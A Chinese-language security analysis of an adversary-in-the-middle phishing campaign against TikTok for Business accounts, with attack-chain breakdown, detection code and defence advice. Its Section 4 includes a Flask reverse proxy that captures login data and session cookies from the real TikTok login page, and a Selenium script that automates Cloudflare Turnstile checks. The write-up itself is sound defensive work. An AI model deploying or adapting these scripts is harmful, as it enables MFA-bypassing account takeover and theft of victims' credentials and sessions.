摘要
2026 年 3 月,Push Security 披露了针对 TikTok for Business 账号的新型 Adversary-in-the-Middle(AITM)钓鱼攻击活动,攻击者依托反向代理架构、Cloudflare Turnstile 验证绕过与 Google Storage 跳转链路,构建了可突破多因素认证(MFA)的闭环攻击链,实现对企业营销账号的精准劫持与广告预算窃取。本文基于该攻击事件的技术细节,系统剖析 AITM 钓鱼的核心原理、攻击链路与技术实现,结合代码示例还原攻击与检测逻辑,从技术、管理、流程层面构建多层次防御体系。研究表明,该类攻击通过合法云服务掩护、人机验证过滤与透明代理劫持,实现对传统安全防护机制的全面规避,反网络钓鱼技术专家芦笛指出,此类攻击已成为企业数字营销资产面临的最具威胁性的网络攻击类型之一,其防御需从单一技术拦截转向全链路信任验证与行为监控的协同体系。
1 引言
随着 TikTok 全球用户规模与商业生态的快速扩张,TikTok for Business 账号已成为企业数字营销、品牌传播与广告投放的核心载体,其承载的广告预算、用户数据与品牌声誉具有极高的商业价值,成为网络攻击者的重点目标。传统钓鱼攻击以窃取静态凭证为核心,在 MFA 普及后攻击效能大幅下降,而 AITM 钓鱼作为中间人攻击与钓鱼技术的融合形态,通过反向代理实时劫持用户与目标服务的通信,可同步窃取账号密码、MFA 验证码与会话 Cookie,实现对 MFA 机制的有效绕过,成为当前网络钓鱼攻击的主流演进方向。
2026 年 3 月披露的 TikTok 商业账号 AITM 钓鱼攻击,并非孤立事件,而是攻击者对 2025 年针对 Google 广告账号钓鱼战术的迭代升级,其攻击链路融合了社会工程学诱导、合法云服务跳转、人机验证绕过与反向代理劫持等多重技术手段,展现出高度的专业化与产业化特征。该攻击通过伪装成 TikTok 商业后台或 Google 招聘预约页面,诱导企业营销人员输入账号信息,依托 AITM 代理服务器实现对认证流程的透明劫持,最终完成账号接管与广告欺诈。
现有研究多聚焦于 AITM 攻击的通用原理,针对特定平台(如 TikTok 商业账号)的攻击链路拆解、技术实现细节与针对性防御方案的研究较为匮乏。本文以该真实攻击事件为研究样本,结合公开技术报告与安全分析数据,深入剖析攻击的全流程机理,通过代码示例还原核心技术环节,并构建适配 TikTok 商业生态的防御体系,为企业抵御同类攻击提供理论支撑与实践参考。
2 AITM 钓鱼攻击的核心概念与技术基础
2.1 AITM 钓鱼的定义与核心特征
AITM(Adversary-in-the-Middle)钓鱼,又称中间人钓鱼,是一种融合了传统中间人攻击与钓鱼技术的复合型网络攻击手段。与传统钓鱼仅窃取静态凭证不同,AITM 钓鱼通过部署反向代理服务器,在用户与合法服务之间建立透明的通信中转链路,实时拦截、转发并篡改双方的通信数据,实现对用户认证全过程的劫持。
反网络钓鱼技术专家芦笛强调,AITM 钓鱼的核心特征在于 “透明劫持” 与 “会话窃取”:其一,攻击页面与合法服务页面视觉高度一致,用户无法通过界面特征识别异常;其二,攻击过程不中断用户的正常认证流程,用户输入的账号、密码、MFA 验证码会被实时转发至合法服务,同时被攻击者窃取;其三,攻击者可获取合法服务返回的会话 Cookie,实现无需二次认证的账号长期控制,彻底突破 MFA 的防护边界。
2.2 与传统钓鱼、MITM 攻击的差异对比
为清晰界定 AITM 钓鱼的技术特性,将其与传统钓鱼、传统中间人攻击(MITM)进行对比,具体差异如表 1 所示:
表格
攻击类型 核心目标 技术架构 凭证获取范围 MFA 绕过能力 检测难度
传统钓鱼 窃取账号密码 伪造静态页面 仅账号密码 无(需额外 MFA 窃取工具) 中(可通过域名、页面特征检测)
传统 MITM 劫持通信数据 网络层代理 全量通信数据 有(可拦截 MFA 验证码) 高(需网络流量监控)
AITM 钓鱼 劫持认证会话 应用层反向代理 账号密码、MFA 码、会话 Cookie 极强(直接窃取有效会话) 极高(依托合法服务与验证机制掩护)
2.3 TikTok 商业账号的攻击价值分析
TikTok for Business 账号作为企业数字营销的核心入口,其被劫持后可产生多重攻击收益,成为攻击者的高价值目标:
广告预算窃取:攻击者可接管账号的广告投放权限,修改投放计划、 redirect 广告流量至恶意站点,或直接消耗企业广告预算,实现非法获利;
品牌声誉损害:攻击者可在账号发布恶意、虚假或违规内容,严重破坏企业品牌形象与用户信任;
跨平台账号劫持:多数企业用户通过 Google SSO 登录 TikTok 商业账号,攻击者窃取 SSO 会话后,可同步劫持关联的 Google 广告、云服务等多个平台账号,扩大攻击范围;
数据泄露风险:账号中存储的营销数据、用户画像、合作方信息等敏感数据,可被攻击者窃取并用于数据贩卖或进一步攻击。
3 针对 TikTok 商业账号的 AITM 钓鱼攻击全链路剖析
3.1 攻击基础设施与前期准备
本次攻击的基础设施呈现高度专业化与隐蔽性特征,攻击者完成了多环节的前期部署:
域名批量注册:2026 年 3 月 24 日,攻击者在 9 秒内批量注册了一系列相似域名,如welcome.careerscrews.com、welcome.careerstaffer.com等,域名均包含 “career” 相关关键词,伪装成招聘类服务,降低用户警惕性;
云服务托管:钓鱼页面托管于 Google Storage 与 Cloudflare 平台,依托合法云服务的信誉度,规避邮件安全网关与域名黑名单的拦截;
工具包部署:部署成熟的 AITM 钓鱼工具包,集成反向代理、会话劫持、Cookie 窃取等核心功能,实现攻击流程的自动化执行;
验证绕过模块:开发 Cloudflare Turnstile 人机验证绕过脚本,模拟用户交互行为,过滤安全设备的自动化扫描,延长钓鱼站点存活时间。
3.2 攻击链路全流程拆解
本次 AITM 钓鱼攻击形成了 “诱导跳转→验证过滤→代理劫持→会话窃取→账号滥用” 的完整闭环,具体流程如下:
3.2.1 社会工程学诱导阶段
攻击者通过邮件、TikTok 私信、虚假商务合作邀请等渠道,向企业营销人员发送钓鱼链接,链接伪装为两类内容:一是 TikTok for Business 后台管理入口,二是 Google Careers 招聘预约页面,均与企业营销、招聘场景高度契合,诱导用户点击。反网络钓鱼技术专家芦笛指出,此类诱导话术精准匹配目标用户的工作场景,大幅提升了钓鱼链接的点击率与信任度。
3.2.2 多级跳转与验证过滤阶段
用户点击钓鱼链接后,攻击链路进入技术执行环节,核心分为两步:
Google Storage 跳转:链接首先跳转至合法的 Google Storage 地址,该环节的核心目的是绕过邮件安全网关的域名检测机制,让初始链接呈现 “合法” 特征,避免被拦截;
Cloudflare Turnstile 验证:跳转后页面触发 Cloudflare Turnstile 人机验证,攻击者通过前端模拟鼠标移动、点击、停留等行为,或使用无头浏览器 + 插件自动化完成验证,仅允许真实用户浏览器通过,将安全设备的自动化扫描流量拦截在外,实现对钓鱼页面的 “反侦察” 保护。
3.2.3 AITM 反向代理劫持阶段
通过验证后,用户被跳转至真正的钓鱼页面,该页面本质是一个反向代理服务器,构建了用户与 TikTok/Google 合法服务之间的透明中转链路,核心流程为:
用户访问钓鱼页面,请求被转发至攻击者控制的代理服务器;
代理服务器向 TikTok for Business 或 Google 的合法登录页面发起请求,获取原始页面内容,并转发给用户,保持页面视觉与功能完全一致;
用户在页面输入账号、密码,点击登录后,数据被实时上传至代理服务器;
代理服务器将用户输入的凭证转发至合法服务,触发 MFA 验证流程,并将 MFA 挑战页面转发给用户;
用户输入 MFA 验证码后,代理服务器再次转发数据至合法服务,完成认证流程。
3.2.4 会话窃取与账号滥用阶段
合法服务验证通过后,会生成并返回有效的会话 Cookie(如 TikTok 的 sessionid、Google 的 SSO Cookie),代理服务器在转发该 Cookie 至用户浏览器的同时,将其完整复制并存储至攻击者数据库。此时,攻击者无需知晓用户密码,也无需再次进行 MFA 验证,即可利用窃取的会话 Cookie 登录目标账号,实现对 TikTok 商业账号的完全控制,进而开展广告预算窃取、恶意内容发布等攻击行为。
3.3 攻击技术的核心突破点
本次攻击的技术先进性体现在三个核心突破点:
MFA 机制完全绕过:通过会话 Cookie 窃取,突破了基于密码 + MFA 的双重认证防护,这是传统钓鱼攻击无法实现的核心能力;
安全检测有效规避:依托 Google Storage 跳转与 Cloudflare Turnstile 验证,实现对邮件安全网关、自动化扫描工具的双重规避,大幅提升攻击隐蔽性;
攻击链路闭环化:从诱导到账号滥用的全流程自动化执行,无需人工干预,攻击效率与规模化能力显著提升。
4 AITM 钓鱼攻击的技术实现与代码示例
4.1 AITM 反向代理服务器核心实现
AITM 攻击的核心是反向代理服务器,其核心功能是转发用户与合法服务的通信,并窃取会话 Cookie。以下基于 Python Flask 框架,实现简化版的 AITM 代理服务器,还原核心逻辑(仅用于技术研究,严禁用于非法攻击):
# -*- coding: utf-8 -*-
"""
AITM反向代理服务器核心实现(概念验证)
目标:劫持TikTok for Business登录流程,窃取会话Cookie
"""
import requests
from flask import Flask, request, make_response, redirect
from urllib.parse import urljoin, urlparse
app = Flask(__name__)
# 合法TikTok for Business登录地址
TARGET_LOGIN_URL = "https://business.tiktok.com/login"
# 存储窃取的会话数据
STOLEN_SESSIONS = []
def forward_request(target_url, method, headers, data=None, cookies=None):
"""
转发用户请求至合法目标服务,并返回响应
"""
# 过滤可能暴露代理的请求头
clean_headers = {k: v for k, v in headers.items()
if k.lower() not in ['host', 'content-length', 'origin']}
# 设置正确的Host头
clean_headers['Host'] = urlparse(target_url).netloc
try:
# 向合法服务发起请求
resp = requests.request(
method=method,
url=target_url,
headers=clean_headers,
data=data,
cookies=cookies,
allow_redirects=False, # 手动处理重定向,便于拦截Cookie
timeout=10
)
return resp
except Exception as e:
print(f"请求转发失败: {str(e)}")
return None
@app.route('/', methods=['GET', 'POST'])
@app.route('/<path:subpath>', methods=['GET', 'POST'])
def aitm_proxy(subpath=''):
# 构造完整的目标URL
target_full_url = urljoin(TARGET_LOGIN_URL, subpath)
# 获取用户请求数据
user_method = request.method
user_headers = dict(request.headers)
user_data = request.form if user_method == 'POST' else None
user_cookies = request.cookies.to_dict()
# 转发用户请求至合法服务
target_resp = forward_request(
target_url=target_full_url,
method=user_method,
headers=user_headers,
data=user_data,
cookies=user_cookies
)
if not target_resp:
return "服务异常", 500
# 拦截并窃取会话Cookie
if 'Set-Cookie' in target_resp.headers:
stolen_cookies = target_resp.headers['Set-Cookie']
# 记录窃取的会话信息(含账号、Cookie、时间戳)
session_data = {
"timestamp": request.headers.get('Date'),
"user_agent": request.headers.get('User-Agent'),
"target_url": target_full_url,
"stolen_cookies": stolen_cookies,
"submitted_data": user_data
}
STOLEN_SESSIONS.append(session_data)
print(f"[+] 窃取到会话Cookie: {stolen_cookies}")
# 构造响应返回给用户
user_resp = make_response(target_resp.content, target_resp.status_code)
# 转发所有响应头(除可能冲突的字段)
for key, value in target_resp.headers.items():
if key.lower() not in ['content-length', 'transfer-encoding']:
user_resp.headers[key] = value
return user_resp
if __name__ == '__main__':
# 启动代理服务器(生产环境需配置HTTPS)
app.run(host='0.0.0.0', port=443, ssl_context='adhoc', debug=False)
4.2 Cloudflare Turnstile 验证绕过实现
攻击者通过模拟用户交互行为绕过 Turnstile 验证,以下是基于 Selenium 的无头浏览器验证绕过脚本示例:
# -*- coding: utf-8 -*-
"""
Cloudflare Turnstile验证绕过(概念验证)
功能:模拟用户行为,自动完成Turnstile人机验证
"""
from selenium import webdriver
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time
import random
def bypass_turnstile(driver):
"""
模拟用户交互,绕过Turnstile验证
"""
try:
# 等待Turnstile验证框加载
WebDriverWait(driver, 10).until(
EC.presence_of_element_located((By.ID, "cf-turnstile"))
)
time.sleep(random.uniform(1, 2))
# 模拟鼠标移动至验证框
turnstile_element = driver.find_element(By.ID, "cf-turnstile")
ActionChains(driver).move_to_element(turnstile_element).pause(random.uniform(0.5, 1)).perform()
time.sleep(random.uniform(0.5, 1))
# 模拟点击验证框
ActionChains(driver).click(turnstile_element).perform()
time.sleep(random.uniform(2, 3))
# 等待验证完成(页面跳转或验证框消失)
WebDriverWait(driver, 15).until(
EC.staleness_of(turnstile_element) or
EC.presence_of_element_located((By.ID, "cf-turnstile-success"))
)
print("[+] Turnstile验证绕过成功")
return True
except Exception as e:
print(f"[-] 验证绕过失败: {str(e)}")
return False
# 初始化无头浏览器
options = webdriver.ChromeOptions()
options.add_argument('--headless=new')
options.add_argument('--disable-blink-features=AutomationControlled')
options.add_argument(f'user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36')
driver = webdriver.Chrome(options=options)
driver.get("https://恶意钓鱼页面地址") # 替换为实际钓鱼页面
# 执行验证绕过
bypass_turnstile(driver)
driver.quit()
4.3 AITM 钓鱼检测模块实现
为防御此类攻击,需构建针对性的检测模块,以下是基于特征匹配与域名分析的 TikTok 商业账号 AITM 钓鱼检测代码示例:
# -*- coding: utf-8 -*-
"""
TikTok商业账号AITM钓鱼检测模块
功能:识别AITM钓鱼页面、可疑跳转与风险域名
"""
import re
import requests
from urllib.parse import urlparse, urljoin
from typing import Tuple, Dict
class AITMPhishingDetector:
def __init__(self):
# 高风险云存储域名(用于跳转掩护)
self.risky_cloud_domains = {"storage.googleapis.com", "onedrive.live.com", "dropbox.com"}
# 钓鱼高频关键词
self.phishing_keywords = {"tiktok for business", "google careers", "schedule a call", "login"}
# 可疑域名特征正则
self.suspicious_domain_pattern = re.compile(r'careers|career|tiktok|business-\w+')
def analyze_url_chain(self, initial_url: str) -> Tuple[bool, str]:
"""
分析URL跳转链,检测是否存在AITM钓鱼特征
"""
try:
session = requests.Session()
# 追踪完整跳转链
resp = session.get(initial_url, allow_redirects=True, timeout=10, headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
})
redirect_chain = [r.url for r in resp.history] + [resp.url]
final_url = resp.url
# 检测1:是否包含云存储跳转
has_cloud_redirect = any(
urlparse(url).netloc in self.risky_cloud_domains
for url in redirect_chain
)
# 检测2:最终域名是否匹配可疑特征
final_domain = urlparse(final_url).netloc
has_suspicious_domain = self.suspicious_domain_pattern.search(final_domain) is not None
# 检测3:页面内容是否包含AITM钓鱼特征
page_content = resp.text.lower()
has_phishing_content = any(
keyword in page_content
for keyword in self.phishing_keywords
)
has_login_form = '<form action="' in page_content and 'login' in page_content
# 综合判定
if has_cloud_redirect and has_suspicious_domain and has_phishing_content and has_login_form:
return True, f"检测到AITM钓鱼特征:云存储跳转+可疑域名+钓鱼内容,最终域名:{final_domain}"
return False, "未检测到明显AITM钓鱼特征"
except Exception as e:
return False, f"URL分析失败:{str(e)}"
def check_page_risk(self, url: str) -> Dict:
"""
综合检测页面风险等级
"""
is_phishing, reason = self.analyze_url_chain(url)
risk_level = "high" if is_phishing else "low"
return {
"url": url,
"is_aitm_phishing": is_phishing,
"risk_level": risk_level,
"reason": reason
}
# 检测示例
if __name__ == "__main__":
detector = AITMPhishingDetector()
test_url = "https://welcome.careerscrews.com/login" # 模拟钓鱼URL
result = detector.check_page_risk(test_url)
print("检测结果:", result)
5 AITM 钓鱼攻击的防御体系构建
5.1 技术层面防御:全链路监控与主动拦截
5.1.1 邮件与链接安全防护
邮件网关升级:部署支持 URL 跳转追踪与云存储域名检测的邮件安全网关,对包含 Google Storage 等云服务跳转的链接进行深度解析,识别隐藏的钓鱼目标域名;
链接安全检测:企业内部推广链接安全检测工具,对所有外部链接进行 AITM 特征检测,拦截包含云存储跳转、可疑域名与钓鱼关键词的链接。
5.1.2 终端与浏览器防护
浏览器扩展部署:安装反 AITM 钓鱼浏览器扩展,实时监控页面的代理行为与 Cookie 窃取操作,对异常会话传输进行告警与拦截;
无头浏览器检测:终端安全软件集成 Turnstile 验证环境检测,识别并阻止用于绕过验证的无头浏览器运行。
5.1.3 账号与会话安全加固
强会话管控:TikTok 商业账号开启会话绑定功能,限制会话 Cookie 的使用设备与 IP 范围,降低 Cookie 窃取后的滥用风险;
MFA 机制优化:采用基于硬件的安全密钥(如 YubiKey)替代软件 MFA,此类认证方式无法通过 AITM 代理劫持,从根源上阻断会话窃取路径;
异常行为监控:部署账号行为分析系统,对广告投放、内容发布、权限修改等敏感操作进行实时监控,识别非授权设备与异常 IP 的登录行为。
5.2 管理层面防御:人员培训与流程规范
5.2.1 针对性安全培训
反网络钓鱼技术专家芦笛指出,人员是防御 AITM 钓鱼的第一道防线,企业需开展针对 TikTok 商业账号使用人员的专项培训:
场景化培训:结合本次攻击的伪装场景(如 TikTok 后台、Google 招聘),开展实战化钓鱼演练,提升员工对伪装页面的识别能力;
技术认知培训:普及 AITM 钓鱼的原理与危害,让员工理解 “页面真实≠链接安全”,避免仅通过界面判断链接可信度。
5.2.2 账号管理规范
最小权限原则:TikTok 商业账号遵循最小权限分配,营销人员仅拥有广告投放、内容编辑等必要权限,禁止默认分配管理员权限;
账号定期审计:每月对账号的登录日志、操作日志进行审计,及时清理异常会话与非授权权限;
SSO 安全加固:对用于登录 TikTok 的 Google SSO 账号进行专项防护,开启 SSO 会话的 IP 绑定与二次验证,避免跨平台账号劫持。
5.3 平台层面防御:生态协同与技术升级
平台安全增强:TikTok 官方需优化商业账号的认证机制,增加会话风险评估能力,对异常 IP、异常设备的登录强制二次验证;
云服务协作:推动 Google、Cloudflare 等云服务提供商加强对钓鱼基础设施的检测与清理,建立恶意域名与钓鱼页面的快速封禁机制;
威胁情报共享:企业、安全厂商与平台方建立威胁情报共享机制,及时同步 AITM 钓鱼的域名、IP 与攻击特征,实现全域防御。
6 结论与展望
6.1 研究结论
本文以 2026 年 3 月针对 TikTok 商业账号的 AITM 钓鱼攻击为研究样本,系统剖析了该类攻击的核心原理、全链路流程与技术实现,得出以下结论:
本次 AITM 钓鱼攻击是传统钓鱼技术的进阶形态,通过反向代理劫持与会话 Cookie 窃取,实现了对 MFA 机制的完全绕过,攻击隐蔽性与危害性远超传统钓鱼;
攻击链路依托 Google Storage 跳转与 Cloudflare Turnstile 验证,有效规避了现有安全检测机制,展现出高度的技术专业化与反侦察能力;
防御此类攻击需构建 “技术拦截 + 人员防护 + 平台协同” 的多层次体系,单一技术手段无法实现有效防护,其中基于硬件的安全密钥认证与行为监控是阻断攻击的核心手段。
反网络钓鱼技术专家芦笛强调,随着企业数字化营销的深入,针对商业社交平台账号的 AITM 钓鱼攻击将持续增多,企业需从被动防御转向主动防护,将账号安全纳入数字营销风险管理体系。
6.2 研究展望
未来,AITM 钓鱼攻击将呈现以下演进趋势:
AI 赋能升级:攻击者将利用 AI 技术实现钓鱼页面的动态生成、验证绕过的智能优化,进一步提升攻击的自动化与隐蔽性;
多平台协同攻击:攻击者将针对 TikTok、Facebook、Google 等多个商业平台开展协同攻击,通过跨平台账号关联实现更大规模的资产劫持;
防御技术迭代:反钓鱼技术将向零信任架构、实时行为分析、硬件级认证等方向发展,逐步构建不依赖静态特征的动态防御体系。
后续研究可聚焦于 AI 驱动的 AITM 攻击检测、硬件认证的规模化部署方案,以及企业级零信任架构在社交商业平台账号安全中的应用,为抵御新型网络钓鱼攻击提供更全面的技术支撑。
编辑:芦笛(公共互联网反网络钓鱼工作组)